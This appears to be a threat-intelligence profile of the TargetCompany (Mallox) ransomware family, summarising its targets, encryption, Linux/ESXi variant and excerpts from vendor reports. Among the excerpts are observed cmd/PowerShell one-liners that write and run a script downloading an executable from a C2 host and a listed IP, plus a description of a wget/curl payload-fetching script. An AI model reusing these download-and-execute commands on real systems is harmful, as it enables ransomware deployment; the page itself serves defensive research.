Loading malware…
TargetCompany is a ransomware family first detected in June 2021, with variants and branding including Mallox, Fargo, Tohnichi, and Xollam. It targets Windows systems and has expanded to Linux and VMware ESXi environments. Its operators, tracked by Trend Micro as Water Gatpanapun, conduct double-extortion campaigns involving file encryption and publication of stolen data. Recurring targets include vulnerable Microsoft SQL Server environments and small businesses across manufacturing, retail, telecommunications, and information technology, with substantial activity in Asia.
Windows variants encrypt files using ChaCha20, with Curve25519 and AES-128 used to protect encryption keys. They enumerate local, removable, and network drives, terminate database processes to release locked files, delete volume shadow copies, disable recovery options, and leave ransom notes. Infection chains have exploited vulnerable database services, while Xollam campaigns used malicious Microsoft OneNote attachments delivered through spam. Associated deployment chains use PowerShell, .NET downloaders, reflective loading, and in-memory execution. Operators have also employed credential-dumping and network-scanning tools, disabled security products, and used obfuscation and Antimalware Scan Interface bypasses to evade detection.
A Linux variant identified in 2024 specifically targets VMware ESXi and checks for root privileges before proceeding. It identifies ESXi through system information and encrypts virtual-machine-related files. A custom shell script downloads and executes the payload, uploads victim system information to an additional server, and deletes the ransomware executable afterward. This variant has been associated with the affiliate vampire. Avast released a free decryptor for certain earlier TargetCompany infections, but recovery is possible only under limited circumstances and should not be assumed to apply to all variants.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Recently, our threat hunting team discovered a new variant of the TargetCompany ransomware specifically targeting Linux environments. This variant uses a shell script for payload delivery and execution.
Recently, our threat hunting team discovered a new variant of the TargetCompany ransomware specifically targeting Linux environments. This variant uses a shell script for payload delivery and execution.
The TargetCompany ransomware was first detected in June 2021. It mostly launches attacks on vulnerable database servers.
13 distinct techniques documented for this family, organized by ATT&CK tactic.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618).
... & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\M0QW5DJ1.exe"
"C:\Windows\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://C2_Server_IP/- malware.exe","%TEMP%\<random>.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\<random>.exe""
"C:\WINDOWS\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://91[.]243[.]44[.]142/pl- Ukxamliyg.exe","%TEMP%\9ETVCRZF.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\9ETVCRZF.exe""
This variant uses a shell script for payload delivery and execution.
The downloaded PE executable is usually the dotNet downloader, which in turn downloads the final payload. This varies — either one of the ransomware samples or a Remcos RAT variant.
The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first. The encryption can be as simple as reversing the content of the file, or in a typical case a XOR encryption with a hardcoded key
After the ransomware performs its routine, the script deletes the TargetCompany payload using the command “rm -f x”.
The binary performs a check by executing the command “uname” to determine whether the machine is running in a VMWare ESXi environment.
The script attempts to download the TargetCompany payload from the download URL using “wget” or “curl,” whichever works between the two commands.
The contents of TargetInfo.txt will be sent to a command-and-control (C&C) server ... with the file name ap.php.
After its encryption routine, this variant appends the extension “.locked” on encrypted files and drops a ransom note named HOW TO DECRYPT.txt.
It then creates the ransom note shown in Figure 20. Note the use of the China.Helper@aol.com address, which we also saw in the instance of the “real” GlobeImposter infection discussed above. | kill$.exe drops a batch file into %TEMP%. Interestingly, this file contains comment strings in Chinese
21 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.